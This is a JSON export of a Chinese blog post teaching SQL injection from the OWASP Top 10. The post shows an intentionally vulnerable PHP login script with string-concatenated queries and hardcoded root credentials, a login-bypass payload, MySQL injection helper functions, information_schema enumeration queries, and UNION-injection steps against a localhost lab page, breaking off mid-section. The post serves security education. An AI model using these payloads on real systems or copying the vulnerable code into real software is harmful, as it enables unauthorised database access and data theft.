{"id":311,"date":"2026-05-30T14:23:03","date_gmt":"2026-05-30T06:23:03","guid":{"rendered":"https:\/\/duoduosec.fun\/?p=311"},"modified":"2026-05-30T18:20:05","modified_gmt":"2026-05-30T10:20:05","slug":"%e3%80%90%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e3%80%91owasp-top10%ef%bc%88sql%e6%b3%a8%e5%85%a5%e7%af%87%ef%bc%89","status":"publish","type":"post","link":"https:\/\/duoduosec.fun\/index.php\/2026\/05\/30\/%e3%80%90%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e3%80%91owasp-top10%ef%bc%88sql%e6%b3%a8%e5%85%a5%e7%af%87%ef%bc%89\/","title":{"rendered":"\u3010\u7f51\u7edc\u5b89\u5168\u3011OWASP TOP10\uff08SQL\u6ce8\u5165\u7bc7\uff09"},"content":{"rendered":"\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>\ud83d\udee0\ufe0f \u4f7f\u7528\u7684\u5de5\u5177<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><a href=\"https:\/\/www.jetbrains.com\/phpstorm\/download\/?section=windows\" data-type=\"link\" data-id=\"https:\/\/www.jetbrains.com\/phpstorm\/download\/?section=windows\">PHPStorm <\/a><\/strong>\u2014 PHP\u4ee3\u7801\u7f16\u7a0b\u5de5\u5177<\/li>\n\n\n\n<li><strong><a href=\"https:\/\/www.ghxi.com\/navicat17.html\">Navicat<\/a><\/strong> \u2014 \u6570\u636e\u5e93\u7ba1\u7406\u5de5\u5177<\/li>\n\n\n\n<li><strong><a href=\"https:\/\/www.xp.cn\/\" data-type=\"link\" data-id=\"https:\/\/www.xp.cn\/\">PHPStudy <\/a><\/strong>\u2014 \u96c6\u6210\u73af\u5883<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e00\u3001SQL\u6ce8\u5165\u7684\u672c\u8d28<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SQL \u6ce8\u5165\u5c31\u662f\u6307 Web \u5e94\u7528\u7a0b\u5e8f\u5bf9\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u5408\u6cd5\u6027\u6ca1\u6709\u8fc7\u6ee4\u6216\u8005\u662f\u5224\u65ad\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728Web\u5e94\u7528\u7a0b\u5e8f\u4e2d\u4e8b\u5148\u5b9a\u4e49\u597d\u7684\u67e5\u8be2\u8bed\u53e5\u7684\u7ed3\u5c3e\u4e0a\u6dfb\u52a0\u989d\u5916\u7684SQL\u8bed\u53e5\uff0c\u5728\u7ba1\u7406\u5458\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0\u975e\u6cd5\u64cd\u4f5c\uff0c\u4ee5\u6b64\u6765\u5b9e\u73b0\u6b3a\u9a97\u6570\u636e\u5e93\u670d\u52a1\u5668\u6267\u884c\u975e\u6388\u6743\u7684\u4efb\u610f\u67e5\u8be2\uff0c\u4ece\u800c\u8fdb\u4e00\u6b65\u5f97\u5230\u76f8\u5e94\u7684\u6570\u636e\u4fe1\u606f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udfaf \u6570\u636e\u548c\u4ee3\u7801\u672a\u5206\u79bb<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/deepseek_mermaid_20260530_a904e1-1024x218.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"218\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/deepseek_mermaid_20260530_a904e1-1024x218.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-320\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\"><strong>\u4e00\u53e5\u8bdd\u603b\u7ed3<\/strong>\uff1a\u653b\u51fb\u8005\u8f93\u5165\u7684\u5b57\u7b26\u4e32\uff0c\u88ab\u6570\u636e\u5e93\u5f53\u6210\u4e86SQL\u547d\u4ee4\u6765\u6267\u884c\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd13 \u6700\u7ecf\u5178\u7684\u4f8b\u5b50\uff1a\u767b\u5f55\u7ed5\u8fc7<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5b58\u5728\u6f0f\u6d1e\u7684\u540e\u7aef\u4ee3\u7801\uff08PHP + MySQL\uff09<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>&lt;?php\n\/\/ \u2705 \u5728\u6587\u4ef6\u6700\u5f00\u5934\u6dfb\u52a0\uff08\u5fc5\u987b\u5728\u4efb\u4f55\u8f93\u51fa\u4e4b\u524d\uff09\nheader('Content-Type: text\/html; charset=utf-8');\n\/\/ \u6570\u636e\u5e93\u8fde\u63a5\u914d\u7f6e\n$servername = \"localhost\";\n$username_db = \"root\";\n$password_db = \"123456\";\n$dbname = \"test\";\n\n\/\/ \u521b\u5efa\u8fde\u63a5\n$conn = mysqli_connect($servername, $username_db, $password_db, $dbname);\n\n\/\/ \u68c0\u67e5\u8fde\u63a5\nif (!$conn) {\n    die(\"\u8fde\u63a5\u5931\u8d25: \" . mysqli_connect_error());\n}\n\n\/\/ \u83b7\u53d6\u7528\u6237\u8f93\u5165\uff08\u6765\u81eaPOST\u8bf7\u6c42\uff09\n$username = $_POST&#91;'username'];\n$password = $_POST&#91;'password'];\n\n\/\/ \u26a0\ufe0f \u5371\u9669\uff01\u76f4\u63a5\u62fc\u63a5\u7528\u6237\u8f93\u5165\uff08\u5b58\u5728SQL\u6ce8\u5165\u6f0f\u6d1e\uff09\n$sql = \"SELECT * FROM users WHERE username='$username' AND password='$password'\";\n\n\/\/ \u6267\u884c\u67e5\u8be2\n$result = mysqli_query($conn, $sql);\n\n\/\/ \u5224\u65ad\u767b\u5f55\u662f\u5426\u6210\u529f\nif (mysqli_num_rows($result) &gt; 0) {\n    \/\/ \u767b\u5f55\u6210\u529f\n    $user = mysqli_fetch_assoc($result);\n    echo \"\u767b\u5f55\u6210\u529f\uff01\u6b22\u8fce \" . $user&#91;'username'];\n    \/\/ \u53ef\u4ee5\u8bbe\u7f6esession\u7b49\u64cd\u4f5c\n    \/\/ session_start();\n    \/\/ $_SESSION&#91;'user'] = $user;\n} else {\n    \/\/ \u767b\u5f55\u5931\u8d25\n    echo \"\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\uff01\";\n}\n\n\/\/ \u5173\u95ed\u8fde\u63a5\nmysqli_close($conn);\n?&gt;<\/strong><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\"><strong>\u6b63\u5e38\u7528\u6237\u8f93\u5165\uff1a<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>username:&nbsp;<code>john<\/code><\/li>\n\n\n\n<li>password:&nbsp;<code>abc123<\/code><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>SELECT * FROM users WHERE username='john' AND password='abc123'<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-9-1024x468.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"468\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-9-1024x468.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-338\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\"><strong>\u653b\u51fb\u8005\u8f93\u5165\uff08\u767b\u5f55\u7ed5\u8fc7\uff09\uff1a<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>username:&nbsp;<code>admin' <\/code>#<\/li>\n\n\n\n<li>password:&nbsp;<code>\u4efb\u610f\u503c<\/code><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>SELECT * FROM users WHERE username='admin' # ' AND password='\u4efb\u610f\u503c'<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-11-1024x132.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"132\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-11-1024x132.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-345\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-12-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-12-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-346\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e8c\u3001MySQL\u6ce8\u5165\u7684\u57fa\u7840\u77e5\u8bc6<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udcac MySQL\u4e2d\u7684\u6ce8\u91ca\u7b26\u53f7<\/h3>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-center\" data-align=\"center\">\u7b26\u53f7<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u4f5c\u7528<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u793a\u4f8b<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>--<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u5355\u884c\u6ce8\u91ca\uff08\u540e\u9762\u5fc5\u987b\u6709\u7a7a\u683c\uff09<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>admin' --<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>#<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u5355\u884c\u6ce8\u91ca<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>admin' #<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>\/* *\/<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u591a\u884c\u6ce8\u91ca\/\u5185\u8054\u6ce8\u91ca<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>admin' \/*\u6ce8\u91ca\u5185\u5bb9*\/<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\"><strong>\u6ce8\u610f<\/strong>\uff1a<code>--<\/code>\u540e\u9762\u5fc5\u987b\u6709\u7a7a\u683c\u6216\u7279\u6b8a\u5b57\u7b26\uff08\u5982<code>--+<\/code>\uff0c+\u4f1a\u88ab\u89e3\u6790\u4e3a\u7a7a\u683c\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd17 MySQL\u4e2d\u7684\u5b57\u7b26\u4e32\u8fde\u63a5<\/h3>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-center\" data-align=\"center\">\u65b9\u5f0f<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u8bed\u6cd5<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u793a\u4f8b<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\">CONCAT()\u51fd\u6570<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>CONCAT(str1, str2)<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>CONCAT('user','name')<\/code>&nbsp;\u2192&nbsp;<code>'username'<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\">CONCAT_WS()<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>CONCAT_WS(separator, str1, str2)<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>CONCAT_WS('-','2024','01','15')<\/code>&nbsp;\u2192&nbsp;<code>'2024-01-15'<\/code><\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\">GROUP_CONCAT()<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>GROUP_CONCAT(column)<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u5c06\u591a\u884c\u5408\u5e76\u4e3a\u4e00\u884c<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u2699\ufe0f MySQL\u91cd\u8981\u5185\u7f6e\u51fd\u6570\uff08\u6ce8\u5165\u5e38\u7528\uff09<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>-- \ud83d\udcc1 \u6570\u636e\u5e93\u4fe1\u606f\nDATABASE()      -- \u5f53\u524d\u6570\u636e\u5e93\u540d\nUSER()          -- \u5f53\u524d\u7528\u6237\nVERSION()       -- MySQL\u7248\u672c\n@@datadir       -- \u6570\u636e\u76ee\u5f55\u8def\u5f84\n\n-- \u2702\ufe0f \u5b57\u7b26\u4e32\u64cd\u4f5c\nSUBSTRING(str, pos, len)    -- \u622a\u53d6\u5b57\u7b26\u4e32\nMID(str, pos, len)          -- \u540c\u4e0a\nLEFT(str, len)              -- \u4ece\u5de6\u53d6\nRIGHT(str, len)             -- \u4ece\u53f3\u53d6\nLENGTH(str)                 -- \u5b57\u7b26\u4e32\u957f\u5ea6\nASCII(str)                  -- \u8fd4\u56deASCII\u7801\nORD(str)                    -- \u8fd4\u56de\u5b57\u7b26\u7f16\u7801\n\n-- \ud83c\udfaf \u6761\u4ef6\u5224\u65ad\nIF(condition, true_val, false_val)      -- MySQL\u7279\u6709\nCASE WHEN condition THEN true ELSE false END\n\n-- \u23f0 \u65f6\u95f4\u51fd\u6570\nSLEEP(seconds)      -- \u5ef6\u8fdf\u6267\u884c\uff08\u76f2\u6ce8\u5229\u5668\uff09\nBENCHMARK(count, expr)  -- \u91cd\u590d\u6267\u884c\uff08\u53e6\u4e00\u79cd\u5ef6\u65f6\uff09\n\n-- \ud83d\udca5 \u62a5\u9519\u6ce8\u5165\u4e13\u7528\nEXTRACTVALUE(xml, xpath)    -- XPath\u62a5\u9519\nUPDATEXML(xml, xpath, new)  -- XPath\u62a5\u9519\nEXP(709)                    -- \u8d85\u51fa\u8303\u56f4\u62a5\u9519\nGTID_SUBSET()               -- \u5185\u90e8\u51fd\u6570\u62a5\u9519<\/strong><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\uddc4\ufe0f MySQL\u7cfb\u7edf\u5e93 information_schema<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662fMySQL\u6ce8\u5165\u7684<strong>\u6838\u5fc3\u77e5\u8bc6<\/strong>\uff01<code>information_schema<\/code>\u662fMySQL\u81ea\u5e26\u7684\u6570\u636e\u5e93\uff0c\u5b58\u50a8\u4e86\u6240\u6709\u6570\u636e\u5e93\u7684\u5143\u6570\u636e\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6700\u91cd\u8981\u7684\u4e09\u5f20\u8868<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-center\" data-align=\"center\">\u8868\u540d<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u4f5c\u7528<\/th><th class=\"has-text-align-center\" data-align=\"center\">\u5173\u952e\u5b57\u6bb5<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>schemata<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u8bb0\u5f55\u6240\u6709\u6570\u636e\u5e93<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>schema_name<\/code>\uff08\u6570\u636e\u5e93\u540d\uff09<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>tables<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u8bb0\u5f55\u6240\u6709\u8868<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>table_schema<\/code>\uff08\u6240\u5c5e\u6570\u636e\u5e93\uff09\u3001<code>table_name<\/code>\uff08\u8868\u540d\uff09<\/td><\/tr><tr><td class=\"has-text-align-center\" data-align=\"center\"><code>columns<\/code><\/td><td class=\"has-text-align-center\" data-align=\"center\">\u8bb0\u5f55\u6240\u6709\u5217<\/td><td class=\"has-text-align-center\" data-align=\"center\"><code>table_name<\/code>\uff08\u6240\u5c5e\u8868\uff09\u3001<code>column_name<\/code>\uff08\u5217\u540d\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u8be2\u6240\u6709\u6570\u636e\u5e93<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>SELECT schema_name FROM information_schema.schemata;<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-13-1024x619.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"619\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-13-1024x619.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-359\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u8be2\u67d0\u4e2a\u6570\u636e\u5e93\u7684\u6240\u6709\u8868<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>SELECT table_name FROM information_schema.tables WHERE table_schema='test';<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-15-1024x619.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"619\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-15-1024x619.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-365\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u67e5\u8be2\u67d0\u4e2a\u8868\u7684\u6240\u6709\u5217<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>SELECT column_name FROM information_schema.columns WHERE table_name='users';<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-16-1024x619.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"619\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-16-1024x619.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-368\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e09\u3001MySQL\u6ce8\u5165\u7684\u56db\u79cd\u4e3b\u8981\u7c7b\u578b<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd35 \u8054\u5408\u67e5\u8be2\u6ce8\u5165\uff08UNION\u6ce8\u5165\uff09<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5224\u65ad\u6ce8\u5165\u70b9<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>\u8f93\u5165\uff1ahttp:\/\/localhost\/sqli\/Less-1\/?id=1'\n\u8fd4\u56de\uff1a\u62a5\u9519\u4fe1\u606f\uff0c\u8bf4\u660e\u5b58\u5728\u6ce8\u5165<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-17-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-17-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-374\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5224\u65ad\u5b57\u6bb5\u6570\u91cf<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=1' ORDER BY 3 --+\n\u9875\u9762\u6b63\u5e38\uff08\u67093\u4e2a\u5b57\u6bb5\uff09\n\nhttp:\/\/localhost\/sqli\/Less-1\/?id=1' ORDER BY 4 --+\n\u9875\u9762\u62a5\u9519\uff08\u6ca1\u6709\u7b2c4\u4e2a\u5b57\u6bb5\uff09\n\u7ed3\u8bba\uff1a\u5b57\u6bb5\u6570 = 3<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-18-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-18-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-375\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5224\u65ad\u663e\u793a\u4f4d<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>http:\/\/localhost\/sqli\/Less-1\/?id=-1' UNION SELECT 1,2,3 --+<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-19-1024x463.png'><img class=\"lazyload lazyload-style-1\" 